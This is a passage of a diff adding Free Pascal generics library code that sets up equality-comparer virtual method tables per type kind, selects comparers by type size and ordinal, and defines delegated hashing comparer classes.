EqualityComparer_Int32_VMT ; + FEqualityComparer_Int64_VMT := EqualityComparer_Int64_VMT ; + FEqualityComparer_UInt8_VMT := EqualityComparer_UInt8_VMT ; + FEqualityComparer_UInt16_VMT := EqualityComparer_UInt16_VMT ; + FEqualityComparer_UInt32_VMT := EqualityComparer_UInt32_VMT ; + FEqualityComparer_UInt64_VMT := EqualityComparer_UInt64_VMT ; + FEqualityComparer_Single_VMT := EqualityComparer_Single_VMT ; + FEqualityComparer_Double_VMT := EqualityComparer_Double_VMT ; + FEqualityComparer_Extended_VMT := EqualityComparer_Extended_VMT ; + FEqualityComparer_Currency_VMT := EqualityComparer_Currency_VMT ; + FEqualityComparer_Comp_VMT := EqualityComparer_Comp_VMT ; + FEqualityComparer_Binary_VMT := EqualityComparer_Binary_VMT ; + FEqualityComparer_DynArray_VMT := EqualityComparer_DynArray_VMT ; + FEqualityComparer_Class_VMT := EqualityComparer_Class_VMT ; + FEqualityComparer_ShortString1_VMT := EqualityComparer_ShortString1_VMT ; + FEqualityComparer_ShortString2_VMT := EqualityComparer_ShortString2_VMT ; + FEqualityComparer_ShortString3_VMT := EqualityComparer_ShortString3_VMT ; + FEqualityComparer_ShortString_VMT := EqualityComparer_ShortString_VMT ; + FEqualityComparer_AnsiString_VMT := EqualityComparer_AnsiString_VMT ; + FEqualityComparer_WideString_VMT := EqualityComparer_WideString_VMT ; + FEqualityComparer_UnicodeString_VMT := EqualityComparer_UnicodeString_VMT; + FEqualityComparer_Method_VMT := EqualityComparer_Method_VMT ; + FEqualityComparer_Variant_VMT := EqualityComparer_Variant_VMT ; + FEqualityComparer_Pointer_VMT := EqualityComparer_Pointer_VMT ; + + ///// + FEqualityComparer_Int8_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Int16_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Int32_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Int64_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_UInt8_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_UInt16_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_UInt32_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_UInt64_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Single_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Double_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Extended_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Currency_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Comp_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Binary_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_DynArray_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Class_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_ShortString1_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_ShortString2_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_ShortString3_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_ShortString_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_AnsiString_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_WideString_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_UnicodeString_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Method_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Variant_VMT.__ClassRef := THashFactoryClass(T.ClassType); + FEqualityComparer_Pointer_VMT.__ClassRef := THashFactoryClass(T.ClassType); + + /////// + FEqualityComparer_Int8_Instance := @FEqualityComparer_Int8_VMT ; + FEqualityComparer_Int16_Instance := @FEqualityComparer_Int16_VMT ; + FEqualityComparer_Int32_Instance := @FEqualityComparer_Int32_VMT ; + FEqualityComparer_Int64_Instance := @FEqualityComparer_Int64_VMT ; + FEqualityComparer_UInt8_Instance := @FEqualityComparer_UInt8_VMT ; + FEqualityComparer_UInt16_Instance := @FEqualityComparer_UInt16_VMT ; + FEqualityComparer_UInt32_Instance := @FEqualityComparer_UInt32_VMT ; + FEqualityComparer_UInt64_Instance := @FEqualityComparer_UInt64_VMT ; + FEqualityComparer_Single_Instance := @FEqualityComparer_Single_VMT ; + FEqualityComparer_Double_Instance := @FEqualityComparer_Double_VMT ; + FEqualityComparer_Extended_Instance := @FEqualityComparer_Extended_VMT ; + FEqualityComparer_Currency_Instance := @FEqualityComparer_Currency_VMT ; + FEqualityComparer_Comp_Instance := @FEqualityComparer_Comp_VMT ; + //FEqualityComparer_Binary_Instance := @FEqualityComparer_Binary_VMT ; // dynamic instance + //FEqualityComparer_DynArray_Instance := @FEqualityComparer_DynArray_VMT ; // dynamic instance + FEqualityComparer_ShortString1_Instance := @FEqualityComparer_ShortString1_VMT ; + FEqualityComparer_ShortString2_Instance := @FEqualityComparer_ShortString2_VMT ; + FEqualityComparer_ShortString3_Instance := @FEqualityComparer_ShortString3_VMT ; + FEqualityComparer_ShortString_Instance := @FEqualityComparer_ShortString_VMT ; + FEqualityComparer_AnsiString_Instance := @FEqualityComparer_AnsiString_VMT ; + FEqualityComparer_WideString_Instance := @FEqualityComparer_WideString_VMT ; + FEqualityComparer_UnicodeString_Instance := @FEqualityComparer_UnicodeString_VMT; + FEqualityComparer_Method_Instance := @FEqualityComparer_Method_VMT ; + FEqualityComparer_Variant_Instance := @FEqualityComparer_Variant_VMT ; + FEqualityComparer_Pointer_Instance := @FEqualityComparer_Pointer_VMT ; + + ////// + FEqualityComparerInstances[tkUnknown] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectBinaryEqualityComparer)).Code); + FEqualityComparerInstances[tkInteger] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectIntegerEqualityComparer)).Code); + FEqualityComparerInstances[tkChar] := TInstance.Create(False, @FEqualityComparer_UInt8_Instance); + FEqualityComparerInstances[tkEnumeration] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectIntegerEqualityComparer)).Code); + FEqualityComparerInstances[tkFloat] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectFloatEqualityComparer)).Code); + FEqualityComparerInstances[tkSet] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectBinaryEqualityComparer)).Code); + FEqualityComparerInstances[tkMethod] := TInstance.Create(False, @FEqualityComparer_Method_Instance); + FEqualityComparerInstances[tkSString] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectShortStringEqualityComparer)).Code); + FEqualityComparerInstances[tkLString] := TInstance.Create(False, @FEqualityComparer_AnsiString_Instance); + FEqualityComparerInstances[tkAString] := TInstance.Create(False, @FEqualityComparer_AnsiString_Instance); + FEqualityComparerInstances[tkWString] := TInstance.Create(False, @FEqualityComparer_WideString_Instance); + FEqualityComparerInstances[tkVariant] := TInstance.Create(False, @FEqualityComparer_Variant_Instance); + FEqualityComparerInstances[tkArray] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectBinaryEqualityComparer)).Code); + FEqualityComparerInstances[tkRecord] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectBinaryEqualityComparer)).Code); + FEqualityComparerInstances[tkInterface] := TInstance.Create(False, @FEqualityComparer_Pointer_Instance); + FEqualityComparerInstances[tkClass] := TInstance.Create(False, @FEqualityComparer_Pointer_Instance); + FEqualityComparerInstances[tkObject] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectBinaryEqualityComparer)).Code); + FEqualityComparerInstances[tkWChar] := TInstance.Create(False, @FEqualityComparer_UInt16_Instance); + FEqualityComparerInstances[tkBool] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectIntegerEqualityComparer)).Code); + FEqualityComparerInstances[tkInt64] := TInstance.Create(False, @FEqualityComparer_Int64_Instance); + FEqualityComparerInstances[tkQWord] := TInstance.Create(False, @FEqualityComparer_UInt64_Instance); + FEqualityComparerInstances[tkDynArray] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectDynArrayEqualityComparer)).Code); + FEqualityComparerInstances[tkInterfaceRaw] := TInstance.Create(False, @FEqualityComparer_Pointer_Instance); + FEqualityComparerInstances[tkProcVar] := TInstance.Create(False, @FEqualityComparer_Pointer_Instance); + FEqualityComparerInstances[tkUString] := TInstance.Create(False, @FEqualityComparer_UnicodeString_Instance); + FEqualityComparerInstances[tkUChar] := TInstance.Create(False, @FEqualityComparer_UInt16_Instance); + FEqualityComparerInstances[tkHelper] := TInstance.Create(False, @FEqualityComparer_Pointer_Instance); + FEqualityComparerInstances[tkFile] := TInstance.CreateSelector(TMethod(TSelectMethod(THashService<T>.SelectBinaryEqualityComparer)).Code); + FEqualityComparerInstances[tkClassRef] := TInstance.Create(False, @FEqualityComparer_Pointer_Instance); + FEqualityComparerInstances[tkPointer] := TInstance.Create(False, @FEqualityComparer_Pointer_Instance) +end; + +{ TExtendedHashService } + +class function TExtendedHashService<T>.SelectIntegerEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; +begin + case ATypeData.OrdType of + otSByte: + Exit(@FExtendedEqualityComparer_Int8_Instance); + otUByte: + Exit(@FExtendedEqualityComparer_UInt8_Instance); + otSWord: + Exit(@FExtendedEqualityComparer_Int16_Instance); + otUWord: + Exit(@FExtendedEqualityComparer_UInt16_Instance); + otSLong: + Exit(@FExtendedEqualityComparer_Int32_Instance); + otULong: + Exit(@FExtendedEqualityComparer_UInt32_Instance); + else + System.Error(reRangeError); + Exit(nil); + end; +end; + +class function TExtendedHashService<T>.SelectFloatEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; +begin + case ATypeData.FloatType of + ftSingle: + Exit(@FExtendedEqualityComparer_Single_Instance); + ftDouble: + Exit(@FExtendedEqualityComparer_Double_Instance); + ftExtended: + Exit(@FExtendedEqualityComparer_Extended_Instance); + ftComp: + Exit(@FExtendedEqualityComparer_Comp_Instance); + ftCurr: + Exit(@FExtendedEqualityComparer_Currency_Instance); + else + System.Error(reRangeError); + Exit(nil); + end; +end; + +class function TExtendedHashService<T>.SelectShortStringEqualityComparer(ATypeData: PTypeData; + ASize: SizeInt): Pointer; +begin + case ASize of + 2: Exit(@FExtendedEqualityComparer_ShortString1_Instance); + 3: Exit(@FExtendedEqualityComparer_ShortString2_Instance); + 4: Exit(@FExtendedEqualityComparer_ShortString3_Instance); + else + Exit(@FExtendedEqualityComparer_ShortString_Instance); + end +end; + +class function TExtendedHashService<T>.SelectBinaryEqualityComparer(ATypeData: PTypeData; + ASize: SizeInt): Pointer; +begin + case ASize of + 1: Exit(@FExtendedEqualityComparer_UInt8_Instance); + 2: Exit(@FExtendedEqualityComparer_UInt16_Instance); + 4: Exit(@FExtendedEqualityComparer_UInt32_Instance); +{$IFDEF CPU64} + 8: Exit(@FExtendedEqualityComparer_UInt64_Instance) +{$ENDIF} + else + Result := CreateInterface(@FExtendedEqualityComparer_Binary_VMT, ASize); + end; +end; + +class function TExtendedHashService<T>.SelectDynArrayEqualityComparer( + ATypeData: PTypeData; ASize: SizeInt): Pointer; +begin + Result := CreateInterface(@FExtendedEqualityComparer_DynArray_VMT, ATypeData.elSize); +end; + +class function TExtendedHashService<T>.LookupExtendedEqualityComparer( + ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; +var + LInstance: PInstance; + LSelectMethod: TSelectMethod; +begin + if ATypeInfo = nil then + Exit(SelectBinaryEqualityComparer(GetTypeData(ATypeInfo), ASize)) + else + begin + LInstance := @FExtendedEqualityComparerInstances[ATypeInfo.Kind]; + Result := LInstance.Instance; + if LInstance.Selector then + begin + TMethod(LSelectMethod).Code := LInstance.SelectorInstance; + TMethod(LSelectMethod).Data := Self; + Result := LSelectMethod(GetTypeData(ATypeInfo), ASize); + end; + end; +end; + +class constructor TExtendedHashService<T>.Create; +begin + FExtendedEqualityComparer_Int8_VMT := ExtendedEqualityComparer_Int8_VMT ; + FExtendedEqualityComparer_Int16_VMT := ExtendedEqualityComparer_Int16_VMT ; + FExtendedEqualityComparer_Int32_VMT := ExtendedEqualityComparer_Int32_VMT ; + FExtendedEqualityComparer_Int64_VMT := ExtendedEqualityComparer_Int64_VMT ; + FExtendedEqualityComparer_UInt8_VMT := ExtendedEqualityComparer_UInt8_VMT ; + FExtendedEqualityComparer_UInt16_VMT := ExtendedEqualityComparer_UInt16_VMT ; + FExtendedEqualityComparer_UInt32_VMT := ExtendedEqualityComparer_UInt32_VMT ; + FExtendedEqualityComparer_UInt64_VMT := ExtendedEqualityComparer_UInt64_VMT ; + FExtendedEqualityComparer_Single_VMT := ExtendedEqualityComparer_Single_VMT ; + FExtendedEqualityComparer_Double_VMT := ExtendedEqualityComparer_Double_VMT ; + FExtendedEqualityComparer_Extended_VMT := ExtendedEqualityComparer_Extended_VMT ; + FExtendedEqualityComparer_Currency_VMT := ExtendedEqualityComparer_Currency_VMT ; + FExtendedEqualityComparer_Comp_VMT := ExtendedEqualityComparer_Comp_VMT ; + FExtendedEqualityComparer_Binary_VMT := ExtendedEqualityComparer_Binary_VMT ; + FExtendedEqualityComparer_DynArray_VMT := ExtendedEqualityComparer_DynArray_VMT ; + FExtendedEqualityComparer_Class_VMT := ExtendedEqualityComparer_Class_VMT ; + FExtendedEqualityComparer_ShortString1_VMT := ExtendedEqualityComparer_ShortString1_VMT ; + FExtendedEqualityComparer_ShortString2_VMT := ExtendedEqualityComparer_ShortString2_VMT ; + FExtendedEqualityComparer_ShortString3_VMT := ExtendedEqualityComparer_ShortString3_VMT ; + FExtendedEqualityComparer_ShortString_VMT := ExtendedEqualityComparer_ShortString_VMT ; + FExtendedEqualityComparer_AnsiString_VMT := ExtendedEqualityComparer_AnsiString_VMT ; + FExtendedEqualityComparer_WideString_VMT := ExtendedEqualityComparer_WideString_VMT ; + FExtendedEqualityComparer_UnicodeString_VMT := ExtendedEqualityComparer_UnicodeString_VMT; + FExtendedEqualityComparer_Method_VMT := ExtendedEqualityComparer_Method_VMT ; + FExtendedEqualityComparer_Variant_VMT := ExtendedEqualityComparer_Variant_VMT ; + FExtendedEqualityComparer_Pointer_VMT := ExtendedEqualityComparer_Pointer_VMT ; + + ///// + FExtendedEqualityComparer_Int8_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Int16_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Int32_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Int64_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_UInt8_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_UInt16_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_UInt32_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_UInt64_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Single_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Double_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Extended_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Currency_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Comp_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Binary_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_DynArray_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Class_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_ShortString1_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_ShortString2_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_ShortString3_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_ShortString_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_AnsiString_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_WideString_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_UnicodeString_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Method_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Variant_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + FExtendedEqualityComparer_Pointer_VMT.__ClassRef := TExtendedHashFactoryClass(T.ClassType); + + /////// + FExtendedEqualityComparer_Int8_Instance := @FExtendedEqualityComparer_Int8_VMT ; + FExtendedEqualityComparer_Int16_Instance := @FExtendedEqualityComparer_Int16_VMT ; + FExtendedEqualityComparer_Int32_Instance := @FExtendedEqualityComparer_Int32_VMT ; + FExtendedEqualityComparer_Int64_Instance := @FExtendedEqualityComparer_Int64_VMT ; + FExtendedEqualityComparer_UInt8_Instance := @FExtendedEqualityComparer_UInt8_VMT ; + FExtendedEqualityComparer_UInt16_Instance := @FExtendedEqualityComparer_UInt16_VMT ; + FExtendedEqualityComparer_UInt32_Instance := @FExtendedEqualityComparer_UInt32_VMT ; + FExtendedEqualityComparer_UInt64_Instance := @FExtendedEqualityComparer_UInt64_VMT ; + FExtendedEqualityComparer_Single_Instance := @FExtendedEqualityComparer_Single_VMT ; + FExtendedEqualityComparer_Double_Instance := @FExtendedEqualityComparer_Double_VMT ; + FExtendedEqualityComparer_Extended_Instance := @FExtendedEqualityComparer_Extended_VMT ; + FExtendedEqualityComparer_Currency_Instance := @FExtendedEqualityComparer_Currency_VMT ; + FExtendedEqualityComparer_Comp_Instance := @FExtendedEqualityComparer_Comp_VMT ; + //FExtendedEqualityComparer_Binary_Instance := @FExtendedEqualityComparer_Binary_VMT ; // dynamic instance + //FExtendedEqualityComparer_DynArray_Instance := @FExtendedEqualityComparer_DynArray_VMT ; // dynamic instance + FExtendedEqualityComparer_ShortString1_Instance := @FExtendedEqualityComparer_ShortString1_VMT ; + FExtendedEqualityComparer_ShortString2_Instance := @FExtendedEqualityComparer_ShortString2_VMT ; + FExtendedEqualityComparer_ShortString3_Instance := @FExtendedEqualityComparer_ShortString3_VMT ; + FExtendedEqualityComparer_ShortString_Instance := @FExtendedEqualityComparer_ShortString_VMT ; + FExtendedEqualityComparer_AnsiString_Instance := @FExtendedEqualityComparer_AnsiString_VMT ; + FExtendedEqualityComparer_WideString_Instance := @FExtendedEqualityComparer_WideString_VMT ; + FExtendedEqualityComparer_UnicodeString_Instance := @FExtendedEqualityComparer_UnicodeString_VMT; + FExtendedEqualityComparer_Method_Instance := @FExtendedEqualityComparer_Method_VMT ; + FExtendedEqualityComparer_Variant_Instance := @FExtendedEqualityComparer_Variant_VMT ; + FExtendedEqualityComparer_Pointer_Instance := @FExtendedEqualityComparer_Pointer_VMT ; + + ////// + FExtendedEqualityComparerInstances[tkUnknown] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectBinaryEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkInteger] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectIntegerEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkChar] := TInstance.Create(False, @FExtendedEqualityComparer_UInt8_Instance); + FExtendedEqualityComparerInstances[tkEnumeration] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectIntegerEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkFloat] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectFloatEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkSet] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectBinaryEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkMethod] := TInstance.Create(False, @FExtendedEqualityComparer_Method_Instance); + FExtendedEqualityComparerInstances[tkSString] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectShortStringEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkLString] := TInstance.Create(False, @FExtendedEqualityComparer_AnsiString_Instance); + FExtendedEqualityComparerInstances[tkAString] := TInstance.Create(False, @FExtendedEqualityComparer_AnsiString_Instance); + FExtendedEqualityComparerInstances[tkWString] := TInstance.Create(False, @FExtendedEqualityComparer_WideString_Instance); + FExtendedEqualityComparerInstances[tkVariant] := TInstance.Create(False, @FExtendedEqualityComparer_Variant_Instance); + FExtendedEqualityComparerInstances[tkArray] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectBinaryEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkRecord] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectBinaryEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkInterface] := TInstance.Create(False, @FExtendedEqualityComparer_Pointer_Instance); + FExtendedEqualityComparerInstances[tkClass] := TInstance.Create(False, @FExtendedEqualityComparer_Pointer_Instance); + FExtendedEqualityComparerInstances[tkObject] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectBinaryEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkWChar] := TInstance.Create(False, @FExtendedEqualityComparer_UInt16_Instance); + FExtendedEqualityComparerInstances[tkBool] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectIntegerEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkInt64] := TInstance.Create(False, @FExtendedEqualityComparer_Int64_Instance); + FExtendedEqualityComparerInstances[tkQWord] := TInstance.Create(False, @FExtendedEqualityComparer_UInt64_Instance); + FExtendedEqualityComparerInstances[tkDynArray] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectDynArrayEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkInterfaceRaw] := TInstance.Create(False, @FExtendedEqualityComparer_Pointer_Instance); + FExtendedEqualityComparerInstances[tkProcVar] := TInstance.Create(False, @FExtendedEqualityComparer_Pointer_Instance); + FExtendedEqualityComparerInstances[tkUString] := TInstance.Create(False, @FExtendedEqualityComparer_UnicodeString_Instance); + FExtendedEqualityComparerInstances[tkUChar] := TInstance.Create(False, @FExtendedEqualityComparer_UInt16_Instance); + FExtendedEqualityComparerInstances[tkHelper] := TInstance.Create(False, @FExtendedEqualityComparer_Pointer_Instance); + FExtendedEqualityComparerInstances[tkFile] := TInstance.CreateSelector(TMethod(TSelectMethod(TExtendedHashService<T>.SelectBinaryEqualityComparer)).Code); + FExtendedEqualityComparerInstances[tkClassRef] := TInstance.Create(False, @FExtendedEqualityComparer_Pointer_Instance); + FExtendedEqualityComparerInstances[tkPointer] := TInstance.Create(False, @FExtendedEqualityComparer_Pointer_Instance); +end; + +{ TEqualityComparer<T> } + +class function TEqualityComparer<T>.Default: IEqualityComparer<T>; +begin + Result := _LookupVtableInfo(giEqualityComparer, TypeInfo(T), SizeOf(T)); +end; + +class function TEqualityComparer<T>.Default(AHashFactoryClass: THashFactoryClass): IEqualityComparer<T>; +begin + if AHashFactoryClass.InheritsFrom(TExtendedHashFactory) then + Result := _LookupVtableInfoEx(giExtendedEqualityComparer, TypeInfo(T), SizeOf(T), AHashFactoryClass) + else if AHashFactoryClass.InheritsFrom(THashFactory) then + Result := _LookupVtableInfoEx(giEqualityComparer, TypeInfo(T), SizeOf(T), AHashFactoryClass); +end; + +class function TEqualityComparer<T>.Construct(const AEqualityComparison: TOnEqualityComparison<T>; + const AHasher: TOnHasher<T>): IEqualityComparer<T>; +begin + Result := TDelegatedEqualityComparerEvents<T>.Create(AEqualityComparison, AHasher); +end; + +class function TEqualityComparer<T>.Construct(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AHasher: THasherFunc<T>): IEqualityComparer<T>; +begin + Result := TDelegatedEqualityComparerFunc<T>.Create(AEqualityComparison, AHasher); +end; + +{ TDelegatedEqualityComparerEvents<T> } + +function TDelegatedEqualityComparerEvents<T>.Equals(constref ALeft, ARight: T): Boolean; +begin + Result := FEqualityComparison(ALeft, ARight); +end; + +function TDelegatedEqualityComparerEvents<T>.GetHashCode(constref AValue: T): UInt32; +begin + Result := FHasher(AValue); +end; + +constructor TDelegatedEqualityComparerEvents<T>.Create(const AEqualityComparison: TOnEqualityComparison<T>; + const AHasher: TOnHasher<T>); +begin + FEqualityComparison := AEqualityComparison; + FHasher := AHasher; +end; + +{ TDelegatedEqualityComparerFunc<T> } + +function TDelegatedEqualityComparerFunc<T>.Equals(constref ALeft, ARight: T): Boolean; +begin + Result := FEqualityComparison(ALeft, ARight); +end; + +function TDelegatedEqualityComparerFunc<T>.GetHashCode(constref AValue: T): UInt32; +begin + Result := FHasher(AValue); +end; + +constructor TDelegatedEqualityComparerFunc<T>.Create(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AHasher: THasherFunc<T>); +begin + FEqualityComparison := AEqualityComparison; + FHasher := AHasher; +end; + +{ TDelegatedExtendedEqualityComparerEvents<T> } + +function TDelegatedExtendedEqualityComparerEvents<T>.GetHashCodeMethod(constref AValue: T): UInt32; +var + LHashList: array[0..1] of Int32; + LHashListParams: array[0..3] of Int16 absolute LHashList; +begin + LHashListParams[0] := -1; + FExtendedHasher(AValue, @LHashList[0]); + Result := LHashList[1]; +end; + +function TDelegatedExtendedEqualityComparerEvents<T>.Equals(constref ALeft, ARight: T): Boolean; +begin + Result := FEqualityComparison(ALeft, ARight); +end; + +function TDelegatedExtendedEqualityComparerEvents<T>.GetHashCode(constref AValue: T): UInt32; +begin + Result := FHasher(AValue); +end; + +procedure TDelegatedExtendedEqualityComparerEvents<T>.GetHashList(constref AValue: T; AHashList: PUInt32); +begin + FExtendedHasher(AValue, AHashList); +end; + +constructor TDelegatedExtendedEqualityComparerEvents<T>.Create(const AEqualityComparison: TOnEqualityComparison<T>; + const AHasher: TOnHasher<T>; const AExtendedHasher: TOnExtendedHasher<T>); +begin + FEqualityComparison := AEqualityComparison; + FHasher := AHasher; + FExtendedHasher := AExtendedHasher; +end; + +constructor TDelegatedExtendedEqualityComparerEvents<T>.Create(const AEqualityComparison: TOnEqualityComparison<T>; + const AExtendedHasher: TOnExtendedHasher<T>); +begin + Create(AEqualityComparison, GetHashCodeMethod, AExtendedHasher); +end; + +{ TDelegatedExtendedEqualityComparerFunc<T> } + +function TDelegatedExtendedEqualityComparerFunc<T>.Equals(constref ALeft, ARight: T): Boolean; +begin + Result := FEqualityComparison(ALeft, ARight); +end; + +function TDelegatedExtendedEqualityComparerFunc<T>.GetHashCode(constref AValue: T): UInt32; +var + LHashList: array[0..1] of Int32; + LHashListParams: array[0..3] of Int16 absolute LHashList; +begin + if not Assigned(FHasher) then + begin + LHashListParams[0] := -1; + FExtendedHasher(AValue, @LHashList[0]); + Result := LHashList[1]; + end + else + Result := FHasher(AValue); +end; + +procedure TDelegatedExtendedEqualityComparerFunc<T>.GetHashList(constref AValue: T; AHashList: PUInt32); +begin + FExtendedHasher(AValue, AHashList); +end; + +constructor TDelegatedExtendedEqualityComparerFunc<T>.Create(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AHasher: THasherFunc<T>; const AExtendedHasher: TExtendedHasherFunc<T>); +begin + FEqualityComparison := AEqualityComparison; + FHasher := AHasher; + FExtendedHasher := AExtendedHasher; +end; + +constructor TDelegatedExtendedEqualityComparerFunc<T>.Create(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AExtendedHasher: TExtendedHasherFunc<T>); +begin + Create(AEqualityComparison, nil, AExtendedHasher); +end; + +{ TExtendedEqualityComparer<T> } + +class function TExtendedEqualityComparer<T>.Default: IExtendedEqualityComparer<T>; +begin + Result := _LookupVtableInfo(giExtendedEqualityComparer, TypeInfo(T), SizeOf(T)); +end; + +class function TExtendedEqualityComparer<T>.Default( + AExtenedHashFactoryClass: TExtendedHashFactoryClass + ): IExtendedEqualityComparer<T>; +begin + Result := _LookupVtableInfoEx(giExtendedEqualityComparer, TypeInfo(T), SizeOf(T), AExtenedHashFactoryClass); +end; + +class function TExtendedEqualityComparer<T>.Construct( + const AEqualityComparison: TOnEqualityComparison<T>; const AHasher: TOnHasher<T>; + const AExtendedHasher: TOnExtendedHasher<T>): IExtendedEqualityComparer<T>; +begin + Result := TDelegatedExtendedEqualityComparerEvents<T>.Create(AEqualityComparison, AHasher, AExtendedHasher); +end; + +class function TExtendedEqualityComparer<T>.Construct( + const AEqualityComparison: TEqualityComparisonFunc<T>; const AHasher: THasherFunc<T>; + const AExtendedHasher: TExtendedHasherFunc<T>): IExtendedEqualityComparer<T>; +begin + Result := TDelegatedExtendedEqualityComparerFunc<T>.Create(AEqualityComparison, AHasher, AExtendedHasher); +end; + +class function TExtendedEqualityComparer<T>.Construct( + const AEqualityComparison: TOnEqualityComparison<T>; + const AExtendedHasher: TOnExtendedHasher<T>): IExtendedEqualityComparer<T>; +begin + Result := TDelegatedExtendedEqualityComparerEvents<T>.Create(AEqualityComparison, AExtendedHasher); +end; + +class function TExtendedEqualityComparer<T>.Construct( + const AEqualityComparison: TEqualityComparisonFunc<T>; + const AExtendedHasher: TExtendedHasherFunc<T>): 